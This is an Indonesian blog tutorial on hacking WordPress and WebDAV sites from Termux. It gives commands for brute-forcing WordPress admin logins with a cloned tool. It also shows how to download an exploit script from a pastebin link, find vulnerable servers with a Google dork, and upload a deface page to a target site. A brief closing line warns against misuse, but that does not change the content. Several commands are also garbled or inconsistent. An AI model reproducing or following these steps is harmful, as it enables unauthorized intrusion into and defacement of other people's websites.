Cara Hack WordPress dengan Termux – WordPress adalah sebuah aplikasi sumber terbuka yang digunakan sebagai mesin blog yang sangat populer.
Dengan kata lain, WordPress adalah salah satu platform pembuat website yang diciptakan oleh Matt Mullenweg dan Mike Little di tahun 2003 lalu.
WordPress banyak digunakan dan menjadi populer karena ramah untuk pemula dan ahli, komunitasnya besar, tutorial dan tema yang tersedia banyak dan plugin yang berlimpah.
Manfaatnya juga beragam salah satunya sebagai solusi untuk praktis untuk membuat website.
Karena WordPress telah digunakan oleh lebih dari 30% website di seluruh dunia, tentu ancaman yang menghantui juga semakin banyak.
Salah satu ancaman tersebut adalah dari para hacker baik itu hacker profesional atau pemula.
Dengan perkembangan teknologi yang semakin canggih, tentu akan mudah bagi hacker untuk melakukan hack pada website Anda.
Untuk itu Anda perlu mempelajari cara hack yang banyak digunakan agar bisa terhindar dari serangan hacker.
Jika ada tanda-tanda yang tidak wajar terlihat di website Anda, maka bisa diantisipasi dengan cepat.
Cara Hack WordPress dengan Termux
1. Cara Hack WordPress dengan Termux Menggunakan Metode Bruteforce di PC atau Laptop
Bruteforec ini juga banyak digunanakan untuk membobol halaman admin WordPress atau biasa disebut dengan WBF.
Cara ini termasuk yang paling mudah untuk seoarng hacker dalam memasukkan akses backdor di website tetapi hana disa dilakukan di perangkat PC/laptop.
Untuk lebih jelasnya, silahkan simak ulasan berikut ini tentang cara hack WordPress dengan Termux menggunakan metode bruteforce:
- Download dan install aplikasi Termux di perangkat PC atau laptop Anda melalui link berikut ini (Download Aplikasi Termux).
- Setelah terinstal, silahkan ketikan perintah dibawah ini:
$ pkg install php
$ pkg install git
$ git clone https://github.com/RandsX/wordpress-brute-force
- Bila Anda ingin menggunakan Wordlist, silahkan ketikan perintah berikut ini:
php wp -t site.com -u admin -p admin
(-u adalah username dan -p adalah password)
- Jika Anda mempunyai Wordlist dan ingin menggunakannya, silahkan ketikan perintah berikut ini:
php wp -t site.com -u admin -1 pass.txt
- Anda juga bisa menggunakan Custom User Agen dengan mengetikan perintah di bawah ini:
php wp -t site.com -u admin -1 pass.txt -g=”Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) Ap
String adalah ekstensi yang bisa memudahkan Anda jika ingin mengganti browser
Mode manual brute force dalam target url bisa dideteksi secara otomatis oleh alat ini jika menggunakan mode standar atau mode xmlrpc.
2. Cara Hack WordPress dengan Termux di Android
Adapun cara hack WordPress dengan Termux di Android seperti ulasan berikut ini:
- Download dan install aplikasi Termux di perangkat Android Anda melalui link berikut ini (Download Aplikasi Termux).
- Kemudian siapkan script deface yang akan disisipkan atau dimasukkan ke dalam website WordPress target.
- Lalu bukalah aplikasi Termux yang sudah diinstal tadi dan masukkan kode atau perintah berikut ini:
apt install python2
pip2 install urllib3 chardet certifi idna requests
apt install openssl curl
pkg install libcurl
- Selanjutnya berikan izin kepada aplikasi Termux untuk mengakses penyimpanan internal HP Android Anda dengan memasukkan kode atau perintah berikut ini:
termux – setup – storage
- Silahkan pindahkan script deface Anda di luar folder penyimpanan internal di Android tersebut.
- Bila sudah, Anda bisa langsung mengunduh Tools WebDevExploiter menggunakan kode atau perintah berikut ini:
curl -S http://pastebin.com/raw/HnVyQPtR –output wrbdav.py
- Selanjutnya carilah website yang akan dijadikan target hack menggunakan Google Dork di bawah ini melalui mesin pencarian Google yang ada di HP Android tersebut.
intitle:”Directory Listing For /” + inurl:webdav tomcat intitle:”Directory Listing For /” +
- Kemudian Anda bisa menyalin url yang terdapat di website yang akan dihack tersebut
- Setelah url website disalin dan untuk memulai proses hack, silahkan bukakembali aplikasi Termux dan masukan kode perintah di bawah ini:
python2 webdav.py situstargetkalian.com /sdcard/namascriptdefacekamu.html
- Lalu file uploader yang menandakan jika script deface Anda telah disisipkan di situs target nantinya akan dimunculkan.
- Untuk mengecek apakah website tersebut berhasil dihack atau tidak bisa dilakukan dengan cara menyalin url yang telah dihack tadi dan akseslah melalui browser di HP Android Anda.
- Bila hack berhasil, otomatis tampilan website akan berubah sesuai dengan script deface yang telah dimasukan tadi.
Tetapi kami menyarankan agar cara hack tersebut tidak disalahgunakan agar tidak merugikan orang lain.
Anda bisa juga mempraktikannya dengan membuat website sendiri kemudian dihack dengan cara diatas.
Itulah seluruh isi artikel kami kali ini mengenai cara hack WordPress dengan Termux. Semoga bermanfaat dan selamat mencoba.
